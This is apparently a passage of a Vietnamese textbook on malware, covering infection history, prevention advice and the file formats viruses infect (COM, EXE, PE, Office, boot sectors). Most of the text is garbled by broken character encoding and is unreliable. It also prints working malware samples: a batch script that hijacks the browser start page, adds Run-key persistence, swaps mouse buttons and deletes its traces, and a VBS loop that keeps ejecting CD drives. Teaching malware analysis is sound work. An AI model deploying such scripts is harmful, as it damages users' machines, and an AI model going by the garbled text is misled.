FKӍ Fy WtQK FKҩW GRҥ GүP WUz OӯD Qj\ YүQ WLӃS WөF [XҩW KLӋQ WURQJ FKX NǤ Wӯ ÿӃQ WKiQJ OҫQ 1ăP PDFUR YLUXV ÿҫX WLrQ [XҩW KLӋQ WURQJ FiF Pm PDFUR WURQJ FiF WӋS FӫD :RUG Yj ODQ WUX\ӅQ TXD UҩW QKLӅX Pi\ /RҥL YLUXV Qj\ Fy WKӇ OjP Kѭ KӋ ÿLӅX KjQK FKӫ 1ăP %XEEOH %R\ VkX Pi\ WtQK ÿҫX WLrQ NK{QJ GӵD YjR YLӋF QJѭӡL QKұQ HPDLO Fy Pӣ ILOH ÿtQK NqP KD\ NK{QJ &KӍ FҫQ WKѭ ÿѭӧF Pӣ UD Qy YүQ VӁ Wӵ KRҥW ÿӝQJ 1ăP 6ODPPHU PӝW ORҥL ZRUP ODQ WUX\ӅQ YӟL YұQ WӕF NӍ OөF WUX\ӅQ FKR NKRҧQJ QJjQ Pi\ WURQJ SK~W 1ăP ÿiQK GҩX PӝW WKӃ KӋ PӟL FӫD Pm ÿӝF KҥL Oj ZRUP 6DVVHU 9ӟL ORҥL ZRUP Qj\ WKu QJѭӡL WD NK{QJ FҫQ SKҧL Pӣ ÿtQK NqP FӫD ÿLӋQ WKѭ Pj FKӍ FҫQ Pӣ Oi WKѭ Oj ÿӫ FKR Qy [kP QKұS YjR máy. Sasser không hoàn WRjQ Kӫ\ KRҥL Pi\ Pj FKӍ OjP FKR Pi\ FKӫ WUӣ QrQ FKұP KѫQ Yj ÿ{L NKL Qy OjP Pi\ Wӵ NKӣL ÿӝQJ WUӣ OҥL Ӣ 9LӋW 1DP Pm ÿӝF KҥL FǊQJ Jk\ UD QKӳQJ WKLӋW KҥL ÿiQJ NӇ 1ăP 6ӵ [XҩW KLӋQ FӫD FiF 9LUXV Ok\ TXD FiF GӏFK Yө FKDWWLQJ &iF GӏFK Yө FKDWWLQJ WUӵF WX\ӃQ QKѭ @ OѭX JLӳ KuQK ҧQK FKL WLӃW FӫD Pi\ Wính trong WuQK WUҥQJ VҥFK VDX ÿy WLӃS WөF WKHR G}L WUҥQJ WKiL KӋ WKӕQJ 1KӳQJ WKD\ ÿәL TXDQ WUӑQJ WURQJ WұS WLQ FҩX KuQK KӋ WKӕQJ KD\ +Ĉ+ ÿӅX ÿѭӧF FҧQK EiR QKѭ PӝW PӕL KLӇP KӑD WLӅP WjQJ .KL QKӳQJ WKD\ ÿәL Qj\ ÿѭӧF ÿiQK JLi QJX\ KLӇP KӋ WKӕQJ VӁ khôi SKөF Pi\ YӅ tìnhWUҥQJ EDQ ÿҫX 0һF G ÿѫQ JLҧQ QKѭQJ WLӃS FұQ Qj\ Wӓ UD NKi KLӋX TXҧYu Qy Fy WKӇ EҧR YӋPi\ WtQK NKӓL FiF PӕL ÿH GӑD FKѭD ÿѭӧF ELӃW ÿӃQ NӇ Fҧ virus máy tính. 7URQJ WKӵF WӃ WLӃS FұQ ³TXD\ YӅTXi NKӭ´ ÿm ÿѭӧF QKLӅX KmQJ SKҫQ mӅP KӋ WKӕQJ VӱGөQJ 6\PDQWHF > @ Fy 1RUWRQ *KRVW và Norton Goback; VMware [94] có System Image Snapshot; Faronics [74] có DeHS )UHH]H« %ҧQ WKkQ :LQGRZV ;3 FǊQJ Fy FKӭF QăQJ SKөF KӗL KӋ WKӕQJ EҵQJ 6\VWHP 5HVWRUH 7X\ QKLrQ WLӃS FұQ Qj\ NpP KLӋX TXҧ khi cáF ÿLӇP WUҥQJ WKiL ÿѭӧF JKL QKұQ O~F KӋ WKӕQJ Eӏ QKLӉP YLUXV Oҥ 0һW NKiF KӋ WKӕQJ FǊQJ FҫQ Eӝ QKӟ QJRjL ÿӫ OӟQ ÿӇ OѭX WRjQ Eӝ hình ҧQK KӋ WKӕQJ TXD WӯQJ WKӡL ÿLӇP > @ 36 1.4 &iF SKѭѫQJ SKiS SKzQJ FKӕQJ Pm ÿӝc +LӋQ JLӡ YLӋF SKzQJ Yj FKӕQJ Pm ÿӝF Oj \rX FҫX FKXQJ FӫD QJѭӡL Vӱ GөQJ Pi\ WtQK Yj KӋ WKӕQJ PҥQJ +LӋQ WҥL QJѭӡL GQJ WKѭӡQJ Vӱ GөQJ FiF SKҫQ PӅP GLӋW Pm ÿӝF WX\ QKLrQ KLӋQ JLӡ Pm ÿӝF [XҩW KLӋQ WKHR WӯQJ JLӡ WӯQJ QJj\ Yu WKӃ KҫX KӃW FiF FKѭѫQJ WUuQK GLӋW Pm ÿӝF NK{QJ FұS QKұW NӏS FiF PүX SK KӧS 9u Yұ\ ErQ FҥQK JLҧL SKiS Oj Vӱ GөQJ SKҫQ PӅP GLӋW Pm ÿӝF ÿ~QJ FiFK WKu QJѭӡL GQJ FҫQ SKҧL Fy QKӳQJ FKtQK ViFK Vӱ GөQJ Pi\ WtQK SK KӧS QKѭ VDX - Sӱ dөng phҫn mӅm diӋW Pm ÿӝc, cұp nhұW WKѭӡng xuyên. - 4XpW YLUXV ÿӏnh kǤ. - Luôn quét các USB, ә cӭng gҳn ngoài khi cҳm vào máy tính. - DuyӋt web an toàn, thiӃt lұp bҧo mұt cho trình duyӋt, tránh click nhӳng link quҧng cáo hoһc bҩW WKѭӡng. - Quét các file tҧi vӅ tӯ Internet - Không kích vào link hay tӋS ÿtQK NqP WURQJ HPDLO NKL FKѭD FKҳc chҳn vӅ ÿӝ an toàn cӫa chúng. - TҧL Yj FjL ÿһt phҫn mӅm tӯ các website tin cұy. - Sӱ dөng Sandbox, máy ҧo, các trang kiӇm tra trӵc tuyӃQ ÿӇ kiӇm thӱ FKѭѫQJ WUuQK QӃu không chҳc chҳn vӅ tính an toàn cӫa nó. - Vұn dөng kinh nghiӋm sӱ dөng máy tính + Phát hiӋn sӵ hoҥW ÿӝQJ NKiF WKѭӡng cӫa máy tính + KiӇm soát các ӭng dөQJ ÿDQJ KRҥW ÿӝng + Loҥi bӓ mӝt sӕ WtQK QăQJ FӫD +Ĉ+ Fy WKӇ tҥR ÿLӅu kiӋn lây nhiӉm cho virus - Cұp nhұt các bҧn vá lӛi hӋ ÿLӅu hành - Bҧo vӋ dӳ liӋu máy tính 6DR OѭX Gӳ liӋu theo chu kǤ + Tҥo các dӳ liӋu phөc hӗi cho toàn hӋ thӕng 37 &kX KӓL {Q WұS 38 &KѭѫQJ &Ѫ &+ӂ HOҤ7 ĈӜNG CӪ$ 0 ĈӜC 1JKLrQ FӭX Pm ÿӝF trên Pi\ WtQK OX{Q JҳQ YӟL YLӋF SKkQ WtFK FiF ÿӏQK GҥQJ Gӳ OLӋX YұW FKӫ 0ӛL ORҥL Pm ÿӝF FKӍ Ok\ YjR PӝW Vӕ ÿӏQK GҥQJ Gӳ OLӋX QKҩW ÿӏQK 3KkQ WtFK FiF ÿӏQK GҥQJ Gӳ OLӋX Pj Pm ÿӝF KD\ Vӱ GөQJ OjP P{ WUѭӡQJ Ok\ ODQ Fѭ WU~ Oj Fѫ Vӣ ÿӇ SKkQ ORҥL Gӳ JLҧP WKLӇX TXá WUuQK SKiW KLӋQ ORҥL EӟW FiF ÿӕL WѭӧQJ FKҳF FKҳQ VҥFK NKӓL FKҭQ ÿRiQ) và JLD WăQJ ÿӝ WLQ Fұ\ FӫD KӋ WKӕQJ JLҧP QJX\ Fѫ Eӓ VyW ÿӕL WѭӧQJ FKҭQ ÿRiQ &iF ÿӏQK GҥQJ YұW FKӫ FKӭD Pm WKL KjQK Fy WKӇ QKLӉP Pm ÿӝF JӗP WұS WLQ YăQ EҧQ WұS WLQ FKѭѫQJ WUuQK WұS WLQ 06 2IILFH Yj PүX WLQ NKӣL ÿӝQJ Hinh 2-1 &iF ÿӏQK GҥQJ YұW FKӫ FKӭD Pm WKӵF WKL Fy WKӇ Eӏ QKLӉP YLUXV &iF ÿӏnh dҥng dӳ liӋu nhiӉP Pm ÿӝc 2.1.1 Ĉӏnh dҥng tұS WLQ YăQ Eҧn 7ұS YăQ EҧQ WH[W ILOH Oj Wә FKӭF ILOH ÿѫQ JLҧQ ÿѭӧF FKLD OjP KDL ORҥL - 7ұS YăQ EҧQ ELW FKӭD FiF Nê Wӵ $6&,, FKXҭQ ELW Fy WKӇ J} WUӵF WLӃS Wӯ EjQ SKtP Pm Wӯ NKRҧQJ WUҳQJ ÿӃQ Nê Wӵa 7ұS YăQ EҧQ ELW GQJ FKӭD QӝL GXQJ FKѭѫQJ WUuQK QJXӗQ QKѭ 3$6 $60 & &33 -6 9%6« - 7ұS YăQ EҧQ ELW Fy WKrP FiF Nê Wӵ $6&,, Pӣ UӝQJ ELW Wӯ ÿӃQ 255) 39 Vӱ GөQJ Nê Wӵ JUDSKLF WUDQJ WUt EҧQJ KuQK KӝS KRһF WKLӃW OұS IRQW FKӳ ULrQJ 'R KLӋQ QD\ FiF WUuQK ELrQ GӏFK WK{QJ GӏFK OӋQK FKӍ Kӛ WUӧ các ký Wӵ ELW QrQ FKѭD SKiW KLӋQ FkX OӋQK YLUXV WURQJ FiF WұS WLQ YăQ EҧQ ELW ĈӇ WKӵF WKL FiF FkX OӋQK WURQJ WұS WLQ YăQ EҧQ ELW KӋ WKӕQJ SKҧL GӏFK FK~QJ VDQJ Pm Pi\ 'R NK{QJ SKҧL KӋ WKӕQJ QjR FǊQJ Fy ÿӫ Eӝ GӏFK OӋQK FӫD WҩW Fҧ FiF QJ{Q QJӳ OұS WUuQK QrQ FKӍ YjL ORҥL WұS WLQ YăQ EҧQ ELW Oj Fy QJX\ Fѫ QKLӉP YLUXV %ҧQJ 3 ÿy Oj FiF WұS WLQ FKӭD WұS OӋQK FӫD FiF QJ{Q QJӳ OұS WUuQK ÿѭӧF WtFK KӧS VҹQ WURQJ KӋ WKӕQJ +uQK 3 Hình 2- &iF ORҥL WұS WLQ YăQ EҧQ 'ҩX KLӋX QKұQ GҥQJ FiF WұS YăQ EҧQ -ELW Fy WKӇ QKLӉP YLUXV Oj - 'ӳ OLӋX E\WH -127) - &KӭD FiF Wӯ NKyD FӫD FiF QJ{Q QJӳ OұS WUuQK WtFK KӧS VҹQ WURQJ KӋ WKӕQJ -DYD 6FULSW 9% 6FULSW +70/ $SSOLFDWLRQ &RPPDQG ,QWHUSUHWHU« 'ѭӟL ÿk\ Oj PӝW GҥQJ PDOZDUH QҵP WURQJ ILOH bat. 1ӝL GXQJ QKѭ VDX @ECHO OFF 40 REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ /dhttp://pcgyaan.wordpress.com /f REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ /d %windir%\force.exe /f copy /y Wallpaper1.bmp ´ 86(5352),/( \Local Settings\Application Data\0LFURVRIW´ RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters RUNDLL32.exe USER32.DLL,SwapMouseButton rename song.exe force.exe move /y IRUFH H[H ³ ZLQGLU ´ del /Q force.bat del /Q wallpaper.bmp 0үX Pm ÿӝF WURQJ ÿӏQK GҥQJ -DYD js 0үX Pm ÿӝF WURQJ ÿӏQK GҥQJ 9%6 Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop 41 Ĉӏnh dҥng trong tӋp tin FKѭѫQJ WUuQK &iF WұS WLQ FKѭѫQJ WUuQK SURJUDP ILOH FzQ JӑL Oj ӭQJ GөQJ DSSOLFDWLRQ KD\ SKҫQ PӅP VRIWZDUH ÿѭӧF ELrQ GӏFK WKjQK FiF Wә FKӭF file WKӵF WKL WURQJ P{L WUѭӡQJ FӫD KӋ ÿLӅX KjQK ĈӕL YӟL '26 :LQGRZs, QJRjL KDL ORҥL WұS WLQ FKѭѫQJ WUuQK FKtQK Oj &20 Yj (;( FzQ Fy FiF Wә FKӭF WKӵF WKL NKiF QKѭ 6<6 '// &3/ 6&5 2&;« 7URQJ TXi WUuQK SKiW WULӇQ 0LFURVRIW ÿm Vӱ GөQJ QKLӅX ÿӏQK GҥQJ WKӵF WKL SKӭF WҥS .KL QҥS YjR Eӝ QKӟ WұS WLQ FKѭѫQJ WUuQK VӁ ÿѭӧF KӋ ÿLӅX KjQK WKӵF WKL NK{QJ TXDQ WkP QJXӗQ JӕF Yj PӭF ÿӝ QJX\ KLӇP FӫD FiF OӋQK Qj\ 'R Yұ\ FiF WұS WLQ FKѭѫQJ WUuQK Oj PӝW WURQJ QKӳQJ NӁ Kӣ EҧR PұW TXDQ WUӑQJ FӫD KӋ WKӕQJ Hình 2-3 &iF ORҥL WӋS WLQ FKѭѫQJ WUuQK Hình 2-4 3KkQ ORҥL FiF WӋS WLQ FKѭѫQJ WUuQK 42 3KkQ WtFK ÿӏQK GҥQJ WұS WLQ Oj KRҥW ÿӝQJ NKi SKә ELӃQ WURQJ QKLӅX OƭQK YӵF SKҫQ PӅP ÿӗ KӑD kP WKDQK OLrQ OҥF EҧR PұW KӋ WKӕQJ« YӕQ WӍ PӍ WӕQ QKLӅX WӡL JLDQ Yj F{QJ VӭF &y UҩW QKLӅX WjL OLӋX QyL YӅ FiF ORҥL ÿӏQK GҥQJ WұS WLQ QrQ WURQJ SKҫQ Qj\ JLiR WUuQK Qj\ NK{QJ ÿL VkX SKkQ WtFK Nӻ WKXұW Pj WұS WUXQJ YjR F{QJ WiF SKkQ ORҥL 6LQK YLrQ Fy WKӇ WKDP NKҧR WKrP FiF ÿӏQK GҥQJ WӋS WLQ WҥL ÿӏD FKӍ http://www.wotsit.org. 2.1.2.1 Ĉ͓nh d̩ng COM (DOS Command) &20 Oj ÿӏQK GҥQJ WKL KjQK ÿѫQ JLҧQ WURQJ P{ KuQK SKkQ ÿRҥQ VHJPHQW RIIVHW FӫD 06'26 &iF WұS WLQ &20 FKӭD KuQK ҧQK Gӳ OLӋX FӫD ÿRҥQ Eӝ QKӟ O~F ILOH ÿѭӧF QҥS YjR ÿӏD FKӍ Segment:100h. Do KRҥW ÿӝQJ WURQJ PӝW SKkQ ÿRҥQ nên kícK WKѭӟF ILOH &20 JLӟL KҥQ WURQJ SKҥP vi 64KB. Khi lây vào file COM, YLUXV VӁ WKD\ ÿLӇP YjR OӋQK ÿҫX WLrQ EҵQJ OӋQK JӑL Pm Pi\ ( K KRһF OӋQK QKҧ\ (%K QKҧ\ JҫQ GѭӟL E\WH ( K QKҧ\ [D WUrQ E\WH ÿӃQ WKӫ WөF [ӱ Oê FӫD virus (Hình ĈһF ÿLӇP QKұQ GҥQJ FiF WұS &20 Fy WKӇ QKLӉP YLUXV QKѭ sau: - .tFK WKѭӟF GѭӟL .% - 'ӳ OLӋX E\WH WUҧL GjL WUrQ Eӝ mã ASCII (0-255) - &y OӋQK QKҧ\ ( K (%K KRһF OӋQK JӑL ( K ÿҫX ILOH 43 Hình 2-5 0{ Wҧ Gӳ OLӋX PӝW WұS WLQ &20 WLrX ELӇX D %LӇX GLӉQ YHFWRU Gӳ OLӋX E\WH FӫD WұS WLQ &20 E %LӇX GLӉQ OӋQK Pi\ FӫD E\WH ÿҫX Yj FiF OӋQK WURQJ WKӫ WөF NKӣL WҥR 7URQJ WKӡL NǤ ÿҫX FӫD '26 GR ÿѫQ JLҧQ Yj QKӓ JӑQ QrQ ÿӏQK GҥQJ &20 UҩW GӉ Eӏ ILOH YLUXV WҩQ F{QJ 'R KҥQ FKӃ YӅ NtFK WKѭӟF Yj NKҧ QăQJ WUX\ QKұS Eӝ QKӟ QrQ FiF KDFNHU ÿm FKX\ӇQ KѭӟQJ WҩQ F{QJ VDQJ ÿӏQK GҥQJ (;( ([HFXWDEOH )Lle) Ĉ͓nh d̩ng EXE (DOS Executable) ĈӏQK GҥQJ (;( FKR SKpS Pӣ UӝQJ NtFK WKѭӟF WұS WLQ OӟQ KѫQ .% EҵQJ FiFK Vӱ GөQJ PӛL SKkQ ÿRҥQ Eӝ QKӟ ULrQJ ELӋW cho WӯQJ WKDQK JKL CS, DS, ES, SS. 9ӟL FiFK Wә FKӭF Qj\ (;( Vӱ GөQJ FҩX WU~F ÿҫX file JӑL Oj (;( KHDGHU FKӭD WK{QJ WLQ FӫD ILOH Yj FiF WKDP Vӕ JL~S KӋ ÿLӅX KjQK ÿӏQK Yӏ Eӝ QKӟ WҧL Pm OӋQK Gӳ OLӋX QJăQ [ӃS Yj NKӣL WҥR JLi WUӏ các WKDQK JKL &38 WUѭӟF NKL WKӵF WKL FKѭѫQJ WUuQK /k\ YjR (;( ILOH YLUXV JKpS Pm OӋQK YjR FXӕL ILOH UӗL ÿLӅX FKӍQK &6 ,3 WUӓ ÿӃQ ÿӏD FKӍ FӫD Qy &iF WұS (;( Fy ÿһF ÿLӇP QKұQ GҥQJ QKѭ sau: - :RUG ÿҫX WұS WLQ Fy WUӏµ0=¶ KRһF µ=0¶ - 'ӳ OLӋX E\WH WUҧL GjL WUrQ WRjQ EҧQJ Pm $6&,, -255) 44 - 7Kӫ WөF NKӣL WҥR WUӓ ÿӃQ ÿӏD FKӍ WKӵF WUrQ ILOH +HDGHU &6 ,3 Filesize) Hình x P{ Wҧ FҩX WU~F ÿҫX ILOH FӫD PӝW WұS WLQ (;( WLrX ELӇX +DL E\WH ÿҫX tiên (4D- $ ELӇX GLӉQ FKXӛL µ0=¶ QKұQ GҥQJ ILOH (;( &iF WUѭӡQJ WLӃS WKHR FKӭD WK{QJ WLQ ILOH Yj FiF WKDP Vӕ ÿӏQK Yӏ ĈһF ELӋW WUѭӡQJ &K Fy JLi WUӏ 00 (không có EҧQJ WK{QJ WLQ Eә VXQJ 1ӃX NKiF WUѭӡQJ Qj\ chӭD FRQ WUӓ ÿӃQ PӝW KHDGHU NKiF dùng cho NE-EXE (Windows 16 bit) và PE-EXE (:LQGRZV ELW &iF ÿӏQK GҥQJ Qj\ VӁ ÿѭӧF P{ Wҧ ӣ SKҫQ WLӃS WKHR Hình 2-6: &ҩX WU~F ÿҫX ILOH FӫD ILOH (;( WLrX ELӇX 2.1.2 Ĉ͓nh d̩ng NE-EXE .KL JLӟL WKLӋX KӋ ÿLӅX KjQK :LQGRZV ELW :LQGRZV [[ 0LFURVRIW SKҧL WKD\ ÿәL ÿӏQK GҥQJ (;( FKR SK KӧS YӟL WұS OӋQK FӫD &38 FKҥ\ WURQJ FKӃ ÿӝ EҧR YӋ KRһF WăQJ FѭӡQJ« 7K{QJ WLQ Eә VXQJ FKR ILOH NE-(;( ÿѭӧF OѭX WUӳ WURQJ PӝW FҩX WU~F ÿҫX ILOH PӟL JӑL Oj 1( KHDGHU ÿӏQK Yӏ TXD WUѭӡQJ & FӫD FҩX WU~F ÿҫX ILOH '26-(;( FǊ +HDGHU Eә VXQJ Qj\ ÿѭӧF EҳW ÿҫX EҵQJ KDL E\WH (- FKXӛL µ1(¶ &iF WUѭӡQJ WLӃS WKHR FKӭD WK{QJ WLQ ILOH 1(-(;( Yt Gө file WKӵF WKL (;( WKӵF KD\ Oj FiF WKѭ YLӋQ OLrQ NӃW ÿӝQJ '//« Yj FiF WKDP Vӕ ÿӏQK Yӏ GjQK FKR KӋ WKӕQJ WURQJ FiF ÿLӅX NLӋQ WKӵF WKL khác nhau. Hình P{ Wҧ FҩX WU~F ÿҫX ILOH FӫD WұS WLQ WKL KjQK WURQJ P{L WUѭӡQJ Windows ELW &ҩX WU~F Qj\ JӗP KDL SKҫQ 3KҫQ ÿҫX Oj FҩX WU~F ÿҫX file DOS-(;( 3KҫQ WKӭ KDL Oj FҩX WU~F ÿҫX ILOH 1(-(;( ÿӏQK Yӏ ӣ ÿӏD FKӍ K Oj JLi WUӏ Fy WURQJ WUѭӡQJ & FӫD '26-(;( ĈҫX 1(-EXE KHDGHU Oj FKXӛL QKұQ GҥQJ µ1(¶ ĈӏQK GҥQJ 1(-(;( Fy ÿһF ÿLӇP QKұQ GҥQJ QKѭ VDX - 0DQJ ÿһF WUѭQJ FӫD ÿӏQK GҥQJ '26-EXE - 7UѭӡQJ & WURQJ FҩX WU~F ÿҫX ILOH WUӓ ÿӃQ FҩX WU~F ÿҫX ILOH WKӭKDL - +DL E\WH ÿҫX WLrQ FӫD FҩX WU~F ÿҫX ILOH WKӭKDL Fy JLi WUӏ ( Yj µ1(¶ 45 Hình 2-7: &ҩX WU~F ÿҫX ILOH PӝW WұS WLQ 1(-(;( WLrX ELӇX 3KҫQ WLӃS WKHR VӁ P{ Wҧ FiFK QKұQ GҥQJ FiF WұS WLQ WKL KjQK WURQJ P{L WUѭӡQJ :LQGRZV ELW FiF 3RUWDEOH ([HFXWDEOH ILOH Ĉ͓nh d̩ng PE-EXE 7URQJ +Ĉ+ :LQGRZV ELW (;( ÿѭӧF WKLӃW NӃ OҥL ÿӇ SK KӧS YӟL Fѫ FKӃ ÿӏQK Yӏ Eӝ QKӟ SKҷQJ IODW PHPRU\ 3RUWDEOH ([HFXWDEOH 3(-EXE) JӗP QKyP &iF ӭQJ GөQJ FKӫ KRVW DSSOLFDWLRQ WұS WLQ WKL KjQK (;( 2%- 6&5« 0ӣ UӝQJ FӫD ӭQJ GөQJ DSSOLFDWLRQ H[WHQVLRQ JӗP FiF WKѭ YLӋQ OLrQ NӃW ÿӝQJ DLL (Dynamic LinN /LEUDU\ ÿLӅX NKLӇQ WKLӃW Eӏ SYS (system GULYHU FiF ӭQJ GөQJ ÿLӅX NKLӇQ &3/ &RQWURO 3anel Applet), OCX (OLE Control ([WHQVLRQ « 0һF G FKӭD Pm OӋQK QKѭQJ FiF Wә FKӭF Qj\ NK{QJ Wӵ WKӵF WKL. &K~QJ ÿѭӧF JӑL Wӯ FiF ӭQJ GөQJ FKӫ Hinh 2-8: &ҩX WU~F ÿҫX ILOH PӝW WұS WLQ 3(-(;( WLrX ELӇX 46 *LӕQJ QKѭ1(-EXE, PE-(;( Oj YұW FKӫ FӫD ILOH YLUXV sâu máy tính và trojan KRUVH ĈһF WUѭQJ QKұQ GҥQJ FӫD 3(-(;( FǊQJ WѭѫQJ Wӵ NE-EXE QKѭ KuQK - 0DQJ ÿһF WUѭQJ FӫD ÿӏQK GҥQJ '26-EXE - 7UѭӡQJ & WURQJ FҩX WU~F '26-(;( WUӓ ÿӃQ FҩX WU~F ÿҫX ILOH 3(-EXE - +DL E\WH ÿҫX WLrQ FӫD ILOH KHDGHU Fy JLi WUӏ K Yj K µ3(¶ &ҩX WU~F ÿҫX ILOH 3(-(;( FKӭD FiF ÿһF WUѭQJ WKL KjQK FӫD ÿӕL WѭӧQJ FileSize, FileType, FileAttribute, MachineWord, NumberOfSections, TimeDateStamp,SizeOfOptionalHeader,Characteristics,MajorLinkerVer sion,MinorLinkerVersion,SizeOfCode,SizeOfInitializedData,SizeOfUnit ializedData,RelativeVirtualAddress,BaseOfCode,BaseOfData, BaseOfRVA, ImageBase, SectionAlignment, FileAlignment, MajorOSVersion,MinorOSVersion,MajorImageVersion, MinorImageVersion,MajorSubSystemVersion, MinorSubSystemVersion, SizeOfImage,SizeOfHeader,FileChecksum,SubSystem, DLLCharacteristics, SizeOfStackReserve, SizeOfStackCommit,SizeOfHeapReserve,SizeOfHeapCommit, LoaderFlags,NumberOfRvaAndSize,VirtualSize,VirtualAddress, SizeOfRawData,PointerToRawData,PointerToRelocation, PointerToLineNumber, NumberOfRelocations, NumberOfLineNumbers, AddressOfEntryPoint... 2.1.3 Tұp tin Office &iF WұS WLQ Wѭ OLӋX GRFXPHQW ILOHV Oj FiF WұS Gӳ OLӋX QJѭӡL GQJ Eӝ công Fө 0LFURVRIW 2IILFH %ҧQJ 3 Ĉk\ Oj ÿӕL WѭӧQJ Ok\ QKLӉP FӫD YLUXV PDFUR ORҥL YLUXV Vӱ GөQJ WұS OӋQK PDFUR 9%$ 9LVXDO %DVLF $SSOLFDWLRQ FӫD 0LFURVRIW 1JRjL ÿӕL WѭӧQJ Ok\ QKLӉP FKtQK Oj FiF WұS WLQ '2& ;/6 Yj 337 FiF WұS WLQ WHPSODWH Yj DGG-LQ FǊQJ Oj QѫL ³WU~ QJө´ UҩW WӕW FKR YLUXV PDFUR /ѭX WUӳ QKLӅX ÿӕL WѭӧQJ QK~QJ SKӭF WҥS KuQK ҧQK kP WKDQK EҧQJ ELӇX ÿӗ WKӏ« FiF WұS WLQ 2IILFH WKѭӡQJ UҩW OӟQ YjL WUăP .% ÿӃQ KjQJ FKөF 0% ĈӇ WLӋQ WUX\ [XҩW 0LFURVRIW Wә 47 FKӭF FiF WұS WLQ Qj\ WKHR ÿѫQ Yӏ SDUDJUDSK E\WH ĈһF ÿLӇP QKұQ GҥQJ FiF WұS WLQ Qj\ QKѭ VDX - .tFK WKѭӟF WұS WLQ Oj EӝL Vӕ FӫD - &KXӛL QKұQ GҥQJ ÿҫX ILOH ' -CF-11-E0-A1-B1-1A-E1-00-00-00-00 Hinh 2-9 &iF WұS WLQ 0V2IILFH Fy WKӇ Eӏ QKLӉP YLUXV 2.1.4 Tұp tin khӣL ÿӝng 7URQJ NLӃQ WU~F Pi\ WtQK ,%0-3& PүX WLQ NKӣL ÿӝQJ ERRW UHFRUG 07.Ĉ Oj FiF Wә FKӭF WKӵF WKL WUrQ FiF ÿѫQ Yӏ OѭX WUӳ FӫD WKLӃW Eӏ QKӟ QJRjL %ҧQJ 3 1KLӋP Yө FӫD 07.Ĉ Oj NKӣL WҥR FiF WK{QJ Vӕ Nӻ WKXұW FӫD WKLӃW Eӏ Yj WKӵF KLӋQ FiF WLӃQ WUuQK [ӱ Oê WLӃS WKHR &y KDL ORҥL ERRW UHFRUG 07.Ĉ ÿƭD FӭQJ PDVWHU ERRW FӫD ÿƭD FӭQJ Yj 07.Ĉ KӋ ÿLӅX KjQK ERRW VHFWRU FӫD ÿƭD FӭQJ Yj ÿƭD PӅP Hinh 2-10: &iF Wә FKӭF NKӣL ÿӝQJ Fy WKӇ QKLӉP YLUXV 48 2.1.4.1 M̳u tin khͧL ÿ͡QJ ÿƭD Fͱng (master boot) 0ӛL ә ÿƭD FӭQJ Fy WKӇ ÿѭӧF FKLD WiFK OXұQ Oê WKjQK FiF SKkQ NKX SDUWLWLRQ &y WӕL ÿD EӕQ SKkQ NKX FKR PӛL ә YұW Oê QKѭQJ FKӍ Fy PӝW SKkQ NKX ÿѭӧF FKӑQ OjP SKkQ NKX KRҥW ÿӝQJ DFWLYH SDUWLWLRQ Oj SKkQ NKX FKӭD KӋ ÿLӅX KjQK FӫD KӋ WKӕQJ Hinh 2-11 7ә FKӭF ÿƭD FӭQJ WUѭӟF NKL QKLӉP %RRW9LUXV Hinh 2-12 7ә FKӭF ÿƭD FӭQJ VDX NKL QKLӉP %RRW9LUXV 0үX WLQ NKӣL ÿӝQJ ÿƭD FӭQJ Fy QKLӋP Yө SKkQ WtFK FiF SKkQ NKX Gӳ OLӋX WuP Yj WҧL ERRW VHFWRU WUrQ SKkQ NKX KRҥW ÿӝQJ FӫD ÿƭD FӭQJ YjR Eӝ QKӟ 49 UӗL WUDR TX\ӅQ FKR Qy +uQK PLQK KӑD FҩX WU~F ÿƭD FӭQJ Yӏ WUt Yj YDL WUz FӫD FiF 07.Ĉ +uQK P{ Wҧ KuQK ҧQK ә ÿƭD FӭQJ QKLӉP ERRW YLUXV ORҥL Ok\ YjR Paster boot. 2.1.4.2 M̳u tin khͧL ÿ͡ng h͏ ÿL͉u hành (boot sector) %RRW VHFWRU Fy WUrQ PӑL ÿƭD PӅP Yj FiF SKkQ NKX ÿƭD FӭQJ .KL QKұQ TX\ӅQ Wӯ PDVWHU ERRW KRһF NKӣL ÿӝQJ Pi\ Wӯ ÿƭD PӅP ERRW VHFWRU VӁ WuP +Ĉ+ QҥS YjR Eӝ QKӟ UӗL WUDR FKR +Ĉ+ WLӃS WөF TXi WUuQK NKӣL ÿӝQJ +uQK PLQK KӑD FҩX WU~F ÿƭD PӅP Yӏ WUt Yj YDL WUz FӫD 07.Ĉ KӋ ÿLӅX KjQK WUrQ ÿƭD PӅP +uQK xxx P{ Wҧ KuQK ҧQK ÿƭD PӅP QKLӉP ERRW YLUXV 9t Gө Qj\ FǊQJ ÿ~QJ FKR WUѭӡQJ KӧS ERRW YLUXV Ok\ YjR ERRW VHFWRU FӫD ÿƭD FӭQJ Hình 2-13: 7ә FKӭF ÿƭD PӅP WUѭӟF NKL QKLӉP 9LUXV 50 Hình 2-14: 7ә FKӭF ÿƭD PӅP VDX NKL QKLӉP 9LUXV 2.2 Cҩu trúc chi tiӃt ÿӏnh dҥng PeFile 1Kѭ ÿm WKӕQJ Nr WURQJ FKѭѫQJ KLӋQ QD\ Pm ÿӝF WUrQ KӋ ÿLӅX KjQK :LQGRZV ELW YүQ SKә ELӃW QKҩW KLӋQ QD\ Fy UҩW QKLӅX QKyP FKX\rQ YLӃt mã ÿӝF WUrQ :LQGRZV ;S :LQGRZV :LQGRZV 6HUYHU 9j ÿӏQK GҥQJ SKә ELӃQ FӫD Pm ÿӝF Qj\ WKѭӡQJ ӣ GҥQJ 3( ILOH 9u WKӃ VLQK YLrQ FҫQ KLӇX ÿӏQK GҥQJ Qj\ ÿӇ JL~S tFK FKR YLӋF KLӇX Yj SKkQ WtFK Pm ÿӝF sau này 'ѭӟL ÿk\ Oj WrQ PӝW Vӕ F{QJ Fө JL~S tFK FKR sinh viên phân tích ÿӏQK GҥQJ 3HILOH &{QJ Fө 3( ([SORUHU ± &KѭѫQJ WUuQK FKҥ\ WUrQ P{L WUѭӡQJ :LQGRZV &KӭF QăQJ Fө WKӇ SKҫQ PӅP Qj\ Fy WKӇ JL~S QJѭӡL SKkQ WtFK ĈӑF [HP Yj 